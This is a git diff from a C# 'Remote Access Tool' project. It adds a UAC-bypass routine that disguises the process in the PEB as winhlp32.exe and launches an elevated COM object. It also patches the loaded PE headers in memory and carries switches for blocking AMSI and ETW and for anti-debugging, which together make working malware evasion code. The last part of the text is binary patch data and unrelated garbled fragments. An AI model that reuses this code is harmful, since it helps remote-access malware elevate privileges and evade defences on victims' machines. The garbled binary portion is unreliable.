ASM.PebFucker(false), typeof(GetPeb)); ; + IntPtr getPeb = GetPebAddressDynamicWithoutAllocate(); + + peb32 = (PEB32)Marshal.PtrToStructure(getPeb, typeof(PEB32)); + + pld = (PebLdrData)Marshal.PtrToStructure(peb32.Ldr, typeof(PebLdrData)); + PebLdrData StartModule = (PebLdrData)Marshal.PtrToStructure(peb32.Ldr, typeof(PebLdrData)); + + IntPtr pStartModuleInfo = StartModule.InLoadOrderModuleList.Flink; + IntPtr pNextModuleInfo = pld.InLoadOrderModuleList.Flink; + + rtlEnterCriticalSection(peb32.FastPebLock); + + FullDllNamePtr = new IntPtr(pNextModuleInfo.ToInt32() + 0x24); + BaseDllNamePtr = new IntPtr(pNextModuleInfo.ToInt32() + 0x2C); + + do + { + LdrDataTableEntry ldte = (LdrDataTableEntry)Marshal.PtrToStructure(pNextModuleInfo, typeof(LdrDataTableEntry)); + + if (ldte.DllBase == peb32.ImageBaseAddress) + { + McfInitUnicodeString(procHandle, BaseDllNamePtr, "winhlp32.exe"); + McfInitUnicodeString(procHandle, FullDllNamePtr, $"{System.Environment.GetEnvironmentVariable("SystemRoot").ToLower()}\\winhlp32.exe"); + break; + } + + pNextModuleInfo = ldte.InLoadOrderLinks.Flink; + + } while (pNextModuleInfo != pStartModuleInfo); + + rtlLeaveCriticalSection(peb32.FastPebLock); + } + else + { + //GetPeb getPeb = (GetPeb)Marshal.GetDelegateForFunctionPointer(IntPtr.Size == 4 ? ASM.PebFucker(true) : ASM.PebFucker(false), typeof(GetPeb)); ; + IntPtr getPeb = GetPebAddressDynamicWithoutAllocate(); + + peb64 = (PEB64)Marshal.PtrToStructure(getPeb, typeof(PEB64)); + + pld = (PebLdrData)Marshal.PtrToStructure(peb64.Ldr, typeof(PebLdrData)); + PebLdrData StartModule = (PebLdrData)Marshal.PtrToStructure(peb64.Ldr, typeof(PebLdrData)); + + IntPtr pStartModuleInfo = StartModule.InLoadOrderModuleList.Flink; + IntPtr pNextModuleInfo = pld.InLoadOrderModuleList.Flink; + + rtlEnterCriticalSection(peb64.FastPebLock); + + FullDllNamePtr = new IntPtr(pNextModuleInfo.ToInt64() + 0x48); + BaseDllNamePtr = new IntPtr(pNextModuleInfo.ToInt64() + 0x58); + do + { + LdrDataTableEntry ldte = (LdrDataTableEntry)Marshal.PtrToStructure(pNextModuleInfo, typeof(LdrDataTableEntry)); + + if (ldte.DllBase == peb64.ImageBaseAddress) + { + McfInitUnicodeString(procHandle, BaseDllNamePtr, "winhlp32.exe"); + McfInitUnicodeString(procHandle, FullDllNamePtr, $"{System.Environment.GetEnvironmentVariable("SystemRoot").ToLower()}\\winhlp32.exe"); + break; + } + + pNextModuleInfo = ldte.InLoadOrderLinks.Flink; + + } while (pNextModuleInfo != pStartModuleInfo); + rtlLeaveCriticalSection(peb64.FastPebLock); + } + return; + } + } + } +} diff --git a/Remote Access Tool/Plugins/Offline/Special/PEFromPEB.cs b/Remote Access Tool/Plugins/Offline/Special/PEFromPEB.cs index 31d12c11..75af0f96 100644 --- a/Remote Access Tool/Plugins/Offline/Special/PEFromPEB.cs +++ b/Remote Access Tool/Plugins/Offline/Special/PEFromPEB.cs @@ -12,7 +12,7 @@ namespace Offline.Special { internal static class PEFromPEB { - [UnmanagedFunctionPointer(CallingConvention.Winapi)] + /*[UnmanagedFunctionPointer(CallingConvention.Winapi)] delegate NtStatus NtProtectVirtualMemory ( IntPtr ProcessHandle, @@ -43,7 +43,7 @@ static void PrepareDelegate() IntPtr ntWriteVirtual = Resolver.GetExportAddress("ntdll.dll", "NtWriteVirtualMemory"); ntWriteVirtualMemory = (NtWriteVirtualMemory)Marshal.GetDelegateForFunctionPointer(ntWriteVirtual, typeof(NtWriteVirtualMemory)); - } + }*/ private static byte[] GetByteArray(int sizeInKb) { @@ -55,7 +55,7 @@ private static byte[] GetByteArray(int sizeInKb) internal unsafe static bool BlockIt() { - PrepareDelegate(); + //PrepareDelegate(); NtStatus n; if (IntPtr.Size == 4) { @@ -66,19 +66,19 @@ internal unsafe static bool BlockIt() uint sizeOfPatch = (uint)(sizeof(ImageDosHeader) - 6); PageAccessType oldOne = new PageAccessType(); - n = ntProtectVirtualMemory((IntPtr)(-1), ref address, ref sizeOfPatch, PageAccessType.PAGE_READWRITE, ref oldOne); + n = ntProtectVirtualMemorySafe((IntPtr)(-1), ref address, ref sizeOfPatch, PageAccessType.PAGE_READWRITE, ref oldOne); if (n != NtStatus.Success) return false; //Patching DOS (keeping the magic field with MZ) - n = ntWriteVirtualMemory((IntPtr)(-1), (IntPtr)(peb32.ImageBaseAddress + 2), GetByteArray(sizeof(ImageDosHeader) - 6), (uint)(sizeof(ImageDosHeader) - 6), out _); + n = ntWriteVirtualMemorySafe((IntPtr)(-1), (IntPtr)(peb32.ImageBaseAddress + 2), GetByteArray(sizeof(ImageDosHeader) - 6), (uint)(sizeof(ImageDosHeader) - 6), out _); //Patching File Header (keeping signature field (PE) + machine) - n = ntWriteVirtualMemory((IntPtr)(-1), (IntPtr)(peb32.ImageBaseAddress + dos32.e_lfanew + 4 + 2), GetByteArray(sizeof(ImageFileHeader) - 2 - 2 - 2), (uint)(sizeof(ImageFileHeader) - 2 - 2 - 2), out _); + n = ntWriteVirtualMemorySafe((IntPtr)(-1), (IntPtr)(peb32.ImageBaseAddress + dos32.e_lfanew + 4 + 2), GetByteArray(sizeof(ImageFileHeader) - 2 - 2 - 2), (uint)(sizeof(ImageFileHeader) - 2 - 2 - 2), out _); //Patching Optional Header (keeping all ImageDataDirectory) - n = ntWriteVirtualMemory((IntPtr)(-1), (IntPtr)(peb32.ImageBaseAddress + dos32.e_lfanew + 4 + sizeof(ImageFileHeader)), GetByteArray(70), (uint)(70), out _); + n = ntWriteVirtualMemorySafe((IntPtr)(-1), (IntPtr)(peb32.ImageBaseAddress + dos32.e_lfanew + 4 + sizeof(ImageFileHeader)), GetByteArray(70), (uint)(70), out _); //Setting old protection - n = ntProtectVirtualMemory((IntPtr)(-1), ref address, ref sizeOfPatch, oldOne, ref oldOne); + n = ntProtectVirtualMemorySafe((IntPtr)(-1), ref address, ref sizeOfPatch, oldOne, ref oldOne); } else @@ -90,19 +90,19 @@ internal unsafe static bool BlockIt() uint sizeOfPatch = (uint)(sizeof(ImageDosHeader) - 6); PageAccessType oldOne = new PageAccessType(); - n = ntProtectVirtualMemory((IntPtr)(-1), ref address, ref sizeOfPatch, PageAccessType.PAGE_READWRITE, ref oldOne); + n = ntProtectVirtualMemorySafe((IntPtr)(-1), ref address, ref sizeOfPatch, PageAccessType.PAGE_READWRITE, ref oldOne); if (n != NtStatus.Success) return false; //Patching DOS (keeping the magic field with MZ) - n = ntWriteVirtualMemory((IntPtr)(-1), (IntPtr)(peb64.ImageBaseAddress + 2), GetByteArray(sizeof(ImageDosHeader) - 6), (uint)(sizeof(ImageDosHeader) - 6), out _); + n = ntWriteVirtualMemorySafe((IntPtr)(-1), (IntPtr)(peb64.ImageBaseAddress + 2), GetByteArray(sizeof(ImageDosHeader) - 6), (uint)(sizeof(ImageDosHeader) - 6), out _); //Patching File Header (keeping signature field (PE) + machine) - n = ntWriteVirtualMemory((IntPtr)(-1), (IntPtr)(peb64.ImageBaseAddress + dos64.e_lfanew + 4 + 2), GetByteArray(sizeof(ImageFileHeader) - 2 - 2 - 2), (uint)(sizeof(ImageFileHeader) - 2 - 2 - 2), out _); + n = ntWriteVirtualMemorySafe((IntPtr)(-1), (IntPtr)(peb64.ImageBaseAddress + dos64.e_lfanew + 4 + 2), GetByteArray(sizeof(ImageFileHeader) - 2 - 2 - 2), (uint)(sizeof(ImageFileHeader) - 2 - 2 - 2), out _); //Patching Optional Header (keeping all ImageDataDirectory) - n = ntWriteVirtualMemory((IntPtr)(-1), (IntPtr)(peb64.ImageBaseAddress + dos64.e_lfanew + 4 + sizeof(ImageFileHeader)), GetByteArray(74), (uint)(74), out _); + n = ntWriteVirtualMemorySafe((IntPtr)(-1), (IntPtr)(peb64.ImageBaseAddress + dos64.e_lfanew + 4 + sizeof(ImageFileHeader)), GetByteArray(74), (uint)(74), out _); //Setting old protection - n = ntProtectVirtualMemory((IntPtr)(-1), ref address, ref sizeOfPatch, oldOne, ref oldOne); + n = ntProtectVirtualMemorySafe((IntPtr)(-1), ref address, ref sizeOfPatch, oldOne, ref oldOne); } if (n == NtStatus.Success) return true; diff --git a/Remote Access Tool/Plugins/Offline/Special/Parser.cs b/Remote Access Tool/Plugins/Offline/Special/Parser.cs index 3021e86e..2ff4d79e 100644 --- a/Remote Access Tool/Plugins/Offline/Special/Parser.cs +++ b/Remote Access Tool/Plugins/Offline/Special/Parser.cs @@ -1,4 +1,5 @@ - +using System.Windows.Forms; + /* || AUTHOR Arsium || || github : https://github.com/arsium || @@ -8,15 +9,30 @@ namespace Offline.Special { public static class Parser { - public static void Parse(bool amsiBlock = false, bool etwBlock = false, bool erasePEFromPEB = false, bool antiDBG = false) + public enum HRESULT : long { + S_FALSE = 0x0001, + S_OK = 0x0000, + E_INVALIDARG = 0x80070057, + E_OUTOFMEMORY = 0x8007000E + } + + public static void Parse(bool amsiBlock = false, bool etwBlock = false, bool erasePEFromPEB = false, bool antiDBG = false, bool bypassUAC = false) + { + DelegatesHandling.PrepareDelegate(); + if (bypassUAC) + { + PEB.MasqueradePEB(); + COM.Start(Application.ExecutablePath); + } + if (antiDBG && AntiDBG.isThreadLaunched == false) AntiDBG.BlockIt(); if (amsiBlock) AMSI.BlockIt(); - if(etwBlock) + if (etwBlock) ETW.BlockIt(); if (erasePEFromPEB) diff --git a/Remote Access Tool/Plugins/Offline/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache b/Remote Access Tool/Plugins/Offline/obj/Release/DesignTimeResolveAssemblyReferencesInput.cache index fe384f86b17cda8f084eba34f50989f62eba923d..ac3f0dec43a90daf793f93f78c56e1bbcb7d5aa2 100644 GIT binary patch delta 18 acmexq^wMZU0Y9V9&5QZ3aRLBKKnFYk delta 22 ecmaE9^wVfV0Y78R$w#?mHqYlj#R&jx00_GP diff --git a/Remote Access Tool/Plugins/Offline/obj/Release/Interop.IWshRuntimeLibrary.dll b/Remote Access Tool/Plugins/Offline/obj/Release/Interop.IWshRuntimeLibrary.dll index df2a9bf45bdc9208b612afcc9f72c5065369a8df..acaf63a12f2892fb8b51d0424e9846805c8ef471 100644 GIT binary patch delta 38 wcmV+>0NMY5qym7X0+5IUs?>$Ci)nZe_4mGkw$dv^ww$QKrjzi1vjlnk7<>5?V*mgE delta 38 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 